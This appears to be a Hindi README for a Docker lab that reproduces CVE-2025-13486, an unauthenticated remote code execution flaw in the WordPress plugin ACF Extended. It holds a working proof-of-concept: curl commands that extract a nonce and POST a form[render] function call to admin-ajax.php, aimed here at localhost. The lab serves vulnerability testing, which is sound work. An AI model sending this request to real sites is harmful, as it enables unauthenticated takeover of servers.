CVE-2025-13486 कमजोर परीक्षण वातावरण

ACF Extended RCE कमजोरी के परीक्षण के लिए एक-बार Docker सेटअप।

त्वरित आरंभ

# 1. प्लगइन्स डाउनलोड करें (एक बार चलाएं)
./download-plugins.sh

# 2. वातावरण शुरू करें
docker-compose up -d --build

# 3. सेटअप के लिए ~30 सेकंड प्रतीक्षा करें, फिर परीक्षण करें
nuclei -t CVE-2025-13486.yaml -u http://localhost:8888

मैन्युअल प्लगइन सेटअप

यदि डाउनलोड स्क्रिप्ट विफल हो जाती है, तो इन फ़ाइलों को plugins/ में मैन्युअल रूप से रखें:

1. ACF Pro (आवश्यक निर्भरता)

   • यहाँ से डाउनलोड करें: https://www.advancedcustomfields.com/pro/
   • इस रूप में सहेजें: plugins/acf-pro.zip

2. ACF Extended 0.9.0.5 (कमजोर संस्करण)

   • यहाँ से डाउनलोड करें: https://downloads.wordpress.org/plugin/acf-extended.0.9.0.5.zip
   • इस रूप में सहेजें: plugins/acf-extended.zip

एक्सप्लॉइट का परीक्षण

# होमपेज से nonce निकालें
curl -s http://localhost:8888/ | grep -oP '"nonce":"([a-f0-9]+)"'

# print_r के साथ RCE परीक्षण करें
curl -X POST http://localhost:8888/wp-admin/admin-ajax.php \
  -d "action=acfe/form/render_form_ajax&nonce=<NONCE>&form[render]=print_r&form[test]=PWNED"

सफाई

docker-compose down -v

कमजोरी विवरण

• CVE: CVE-2025-13486
• प्रभावित: ACF Extended 0.9.0.5 - 0.9.1.1
• प्रकार: call_user_func_array() के माध्यम से बिना प्रमाणीकरण के RCE
• CVSS: 9.8 (गंभीर)